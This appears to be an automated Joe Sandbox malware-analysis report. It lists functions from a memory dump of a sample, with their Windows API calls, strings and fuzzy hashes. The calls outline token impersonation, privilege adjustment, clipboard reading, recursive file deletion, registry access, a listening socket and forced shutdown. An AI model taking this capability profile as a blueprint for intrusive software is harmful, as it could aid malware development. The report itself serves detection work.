API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 9dfd5b79de74c415b44c299c254640a8633fa5de87b095c9fe1564f5b2e1e952
Instruction ID: 096a6e357637c802f38b52a7af85cca28bd3472e33fbe5221648045364ae3665
Opcode Fuzzy Hash: 9dfd5b79de74c415b44c299c254640a8633fa5de87b095c9fe1564f5b2e1e952
Instruction Fuzzy Hash: 26316371A40228BBFB316BB55D4AFBF7EBCEB48B50F100056F681E61D1C6B65940AB60

Function 01031201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 010316C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0103170D
Part of subcall function 010316C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0103173A
Part of subcall function 010316C3: GetLastError.KERNEL32 ref: 0103174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 01031286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 010312A8
CloseHandle.KERNEL32(?), ref: 010312B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 010312D1
GetProcessWindowStation.USER32 ref: 010312EA
SetProcessWindowStation.USER32(00000000), ref: 010312F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 01031310

Part of subcall function 010310BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,010311FC), ref: 010310D4
Part of subcall function 010310BF: CloseHandle.KERNEL32(?,?,010311FC), ref: 010310E9

Strings

, xrefs: 0103125A
winsta0, xrefs: 010312CC
default, xrefs: 0103130B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: a000588c06e5e9b9538a2e3f60b2b0ed0e9eb7983a068c7e22a2e2b84634e539
Instruction ID: 2609fc78dde7f0251200bb50a70782f0b8686f62661bd66ae53c4ac1f914204d
Opcode Fuzzy Hash: a000588c06e5e9b9538a2e3f60b2b0ed0e9eb7983a068c7e22a2e2b84634e539
Instruction Fuzzy Hash: 24819F71900309AFEF219FA9DD49BEE7FBDEF48700F044159FA90A61A0CB799944CB20

Function 01030B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 010310F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 01031114
Part of subcall function 010310F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031120
Part of subcall function 010310F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 0103112F
Part of subcall function 010310F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031136
Part of subcall function 010310F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0103114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 01030BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 01030C00
GetLengthSid.ADVAPI32(?), ref: 01030C17
GetAce.ADVAPI32(?,00000000,?), ref: 01030C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 01030C6D
GetLengthSid.ADVAPI32(?), ref: 01030C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 01030C8C
HeapAlloc.KERNEL32(00000000), ref: 01030C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 01030CB4
CopySid.ADVAPI32(00000000), ref: 01030CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 01030CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 01030D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 01030D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030D45
HeapFree.KERNEL32(00000000), ref: 01030D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030D55
HeapFree.KERNEL32(00000000), ref: 01030D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030D65
HeapFree.KERNEL32(00000000), ref: 01030D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 01030D78
HeapFree.KERNEL32(00000000), ref: 01030D7F

Part of subcall function 01031193: GetProcessHeap.KERNEL32(00000008,01030BB1,?,00000000,?,01030BB1,?), ref: 010311A1
Part of subcall function 01031193: HeapAlloc.KERNEL32(00000000,?,00000000,?,01030BB1,?), ref: 010311A8
Part of subcall function 01031193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,01030BB1,?), ref: 010311B7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: f191ae0be6679eaf95594140cd64876761de90e14391edd78a59a53da82e9900
Instruction ID: 7632634019419939cc80d93b6df0b354d9cc76cb34c90178d721eb90b6b9ebb8
Opcode Fuzzy Hash: f191ae0be6679eaf95594140cd64876761de90e14391edd78a59a53da82e9900
Instruction Fuzzy Hash: CF719D7590120AABEF20EFA8DD48BEEBBFCBF45300F044195FA94A6194D775A905CB60

Function 0104EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0106CC08), ref: 0104EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0104EB37
GetClipboardData.USER32(0000000D), ref: 0104EB43
CloseClipboard.USER32 ref: 0104EB4F
GlobalLock.KERNEL32(00000000), ref: 0104EB87
CloseClipboard.USER32 ref: 0104EB91
GlobalUnlock.KERNEL32(00000000), ref: 0104EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0104EBC9
GetClipboardData.USER32(00000001), ref: 0104EBD1
GlobalLock.KERNEL32(00000000), ref: 0104EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0104EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0104EC38
GetClipboardData.USER32(0000000F), ref: 0104EC44
GlobalLock.KERNEL32(00000000), ref: 0104EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0104EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0104EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0104ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0104ECF3
CountClipboardFormats.USER32 ref: 0104ED14
CloseClipboard.USER32 ref: 0104ED59

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: af356c85b48413c976a48fa90e705547dd5df30db7f98e805ecb1a454da7077f
Instruction ID: dc144dbfdbe9f37e9a226ad207f2f95fd2f0d7d0f292ce05aa7a27932d7e13a5
Opcode Fuzzy Hash: af356c85b48413c976a48fa90e705547dd5df30db7f98e805ecb1a454da7077f
Instruction Fuzzy Hash: BF61E7742043019FE310EF68D984F6A7BE5BF88704F08456EF5D6872A5CB79E905CBA2

Function 0104698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 010469BE
FindClose.KERNEL32(00000000), ref: 01046A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 01046A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 01046A75

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 01046AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 01046ADF

Strings

%03d, xrefs: 01046DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 01046B32
%4d, xrefs: 01046BB1
%4d%02d%02d%02d%02d%02d, xrefs: 01046B6A
%02d, xrefs: 01046C00, 01046C0A, 01046C5A, 01046CAA, 01046CFA, 01046D4A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: d2897cdda3c0a8ed2d6f077d6997730080498010f80e12a23759c15c75b9832f
Instruction ID: c2462a4eba1ff1fe58e52217705736c6a41ae610ff6f0fb6f58c86b3779731f6
Opcode Fuzzy Hash: d2897cdda3c0a8ed2d6f077d6997730080498010f80e12a23759c15c75b9832f
Instruction Fuzzy Hash: 56D182B1508301AFD310EBA4CC91EABB7EDAF88704F44491EF585C7291EB79DA44DB62

Function 01049642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 01049663
GetFileAttributesW.KERNEL32(?), ref: 010496A1
SetFileAttributesW.KERNEL32(?,?), ref: 010496BB
FindNextFileW.KERNEL32(00000000,?), ref: 010496D3
FindClose.KERNEL32(00000000), ref: 010496DE
FindFirstFileW.KERNEL32(*.*,?), ref: 010496FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0104974A
SetCurrentDirectoryW.KERNEL32(01096B7C), ref: 01049768
FindNextFileW.KERNEL32(00000000,00000010), ref: 01049772
FindClose.KERNEL32(00000000), ref: 0104977F
FindClose.KERNEL32(00000000), ref: 0104978F

Strings

*.*, xrefs: 010496F5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: e7db8a943ca896582cc0f0f290626e527696af3a06519484add0e040ee69e412
Instruction ID: 112e0817df21845b71b3b9eac424a0878e539b204562aa302986fcf9e0a82482
Opcode Fuzzy Hash: e7db8a943ca896582cc0f0f290626e527696af3a06519484add0e040ee69e412
Instruction Fuzzy Hash: 2231B6715006196BEF24EEB9DD48ADF77ECAF4D224F0041B5EAD5E20A0D735D9408B14

Function 0104979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 010497BE
FindNextFileW.KERNEL32(00000000,?), ref: 01049819
FindClose.KERNEL32(00000000), ref: 01049824
FindFirstFileW.KERNEL32(*.*,?), ref: 01049840
SetCurrentDirectoryW.KERNEL32(?), ref: 01049890
SetCurrentDirectoryW.KERNEL32(01096B7C), ref: 010498AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 010498B8
FindClose.KERNEL32(00000000), ref: 010498C5
FindClose.KERNEL32(00000000), ref: 010498D5

Part of subcall function 0103DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0103DB00

Strings

*.*, xrefs: 0104983B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 300fffc29bf62bb474ec6c112401c5cb9edea566bc8f60dde96dd2bf2f37406f
Instruction ID: 8ea3abe6c2c480cb9199e4cb4a518c3476eecbab5eb55209a7902f1bb266969a
Opcode Fuzzy Hash: 300fffc29bf62bb474ec6c112401c5cb9edea566bc8f60dde96dd2bf2f37406f
Instruction Fuzzy Hash: B831C971500619ABFF20EEBDDC849DF77AC9F49224F1041B9E9D4A2090D735D9458B20

Function 0105BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0105C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0105B6AE,?,?), ref: 0105C9B5
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105C9F1
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA68
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0105BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0105BFA9
RegCloseKey.ADVAPI32(00000000), ref: 0105BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0105C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0105C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0105C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0105C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0105C23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0105C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0105C382
RegCloseKey.ADVAPI32(00000000), ref: 0105C38F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 018335baee97cca42faaf7c349324f6990f4195ac3026785814abb3261d46a2e
Instruction ID: ef2cc748074dfdafa80244f5ef28d258bd434dfbaa8176ba1a9d6e8158afce88
Opcode Fuzzy Hash: 018335baee97cca42faaf7c349324f6990f4195ac3026785814abb3261d46a2e
Instruction Fuzzy Hash: BF025D716043009FE754DF28C995E2ABBE9EF49304F08849DF88ADB2A2D735ED45CB52

Function 01048195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 01048257
SystemTimeToFileTime.KERNEL32(?,?), ref: 01048267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 01048273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 01048310
SetCurrentDirectoryW.KERNEL32(?), ref: 01048324
SetCurrentDirectoryW.KERNEL32(?), ref: 01048356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0104838C
SetCurrentDirectoryW.KERNEL32(?), ref: 01048395

Strings

*.*, xrefs: 0104839B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 50c228fe0ce6fb6d992c7b7460577c18d8f9591c53aa6803462a05983567cf86
Instruction ID: 89c388f2d129912c32cfb226af37599b023e3ba6269f36bcfb1e4eb5fddcac56
Opcode Fuzzy Hash: 50c228fe0ce6fb6d992c7b7460577c18d8f9591c53aa6803462a05983567cf86
Instruction Fuzzy Hash: D9616BB25043059FD710EF64C8849AEB3E9FF89310F08896EF9C997261DB35E945CB92

Function 0103D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FD3A97,?,?,00FD2E7F,?,?,?,00000000), ref: 00FD3AC2

Part of subcall function 0103E199: GetFileAttributesW.KERNEL32(?,0103CF95), ref: 0103E19A

FindFirstFileW.KERNEL32(?,?), ref: 0103D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0103D1DD
MoveFileW.KERNEL32(?,?), ref: 0103D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0103D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0103D237

Part of subcall function 0103D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0103D21C,?,?), ref: 0103D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0103D253
FindClose.KERNEL32(00000000), ref: 0103D264

Strings

\*.*, xrefs: 0103D0CD, 0103D0D6, 0103D0EB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: b34dc27b3d8c0b190049897ee193e3ee4390024ece62ea5156013a2ca5faf892
Instruction ID: cb7a299331571eeeea31f0c4053f359cb4add79073c826cd9ce061643095210b
Opcode Fuzzy Hash: b34dc27b3d8c0b190049897ee193e3ee4390024ece62ea5156013a2ca5faf892
Instruction Fuzzy Hash: 5261BF31D0510DABCF05EBE0DE929EDB7BAAF51300F6841A6E48173291EB359F09DB61

Function 0104ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0104ED91
EmptyClipboard.USER32 ref: 0104ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0104EDAC
CloseClipboard.USER32 ref: 0104EEA3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: acc108c61bb502c0bc0e3cfc348f11cc846743caf7719085ecf126eaceb278a1
Instruction ID: babc42bac95da38c92b3c6a7831d4689abbd8c5e7e65a190700bbaa6f69c7313
Opcode Fuzzy Hash: acc108c61bb502c0bc0e3cfc348f11cc846743caf7719085ecf126eaceb278a1
Instruction Fuzzy Hash: F4418D75204611AFE721DF19D488B19BBE5FF48318F04C0A9E89A8B662C77AFC41CB90

Function 0103E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 010316C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0103170D
Part of subcall function 010316C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0103173A
Part of subcall function 010316C3: GetLastError.KERNEL32 ref: 0103174A

ExitWindowsEx.USER32(?,00000000), ref: 0103E932

Strings

SeShutdownPrivilege, xrefs: 0103E902
@, xrefs: 0103E925
, xrefs: 0103E95C
, xrefs: 0103E920

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: c697a9bc40abe1edfb24679dc2e8d04462e1e722006086ddf00d1c9cf9cfc56e
Instruction ID: 80ebed5fcc2eead0c79f8891104191edd3015d95d09cba3b71592ab51d7080a8
Opcode Fuzzy Hash: c697a9bc40abe1edfb24679dc2e8d04462e1e722006086ddf00d1c9cf9cfc56e
Instruction Fuzzy Hash: BE01D672610211ABFB6426B8DD85BFF729C9798750F054A23FDC2E21D1D5A55C4083A0

Function 01051204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 01051276
WSAGetLastError.WSOCK32 ref: 01051283
bind.WSOCK32(00000000,?,00000010), ref: 010512BA
WSAGetLastError.WSOCK32 ref: 010512C5
closesocket.WSOCK32(00000000), ref: 010512F4
listen.WSOCK32(00000000,00000005), ref: 01051303
WSAGetLastError.WSOCK32 ref: 0105130D
closesocket.WSOCK32(00000000), ref: 0105133C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: cae4d2e9538f350e8f9fdc23fdcb886fddb3963f877289bc5ed0b1689bee2ed5
Instruction ID: 6bd6cf47d1d41ae6da3d8f58b29fcfd5446e1f2e5a536ac13f0bd75c587de4d4
Opcode Fuzzy Hash: cae4d2e9538f350e8f9fdc23fdcb886fddb3963f877289bc5ed0b1689bee2ed5
Instruction Fuzzy Hash: 9B41A5716001019FE760DF28C584B2ABBE6BF46314F188189D9968F397C775ED81CBE1

Function 0100B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0100B9D4
_free.LIBCMT ref: 0100B9F8
_free.LIBCMT ref: 0100BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01073700), ref: 0100BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,010A121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0100BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,010A1270,000000FF,?,0000003F,00000000,?), ref: 0100BC36
_free.LIBCMT ref: 0100BD4B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
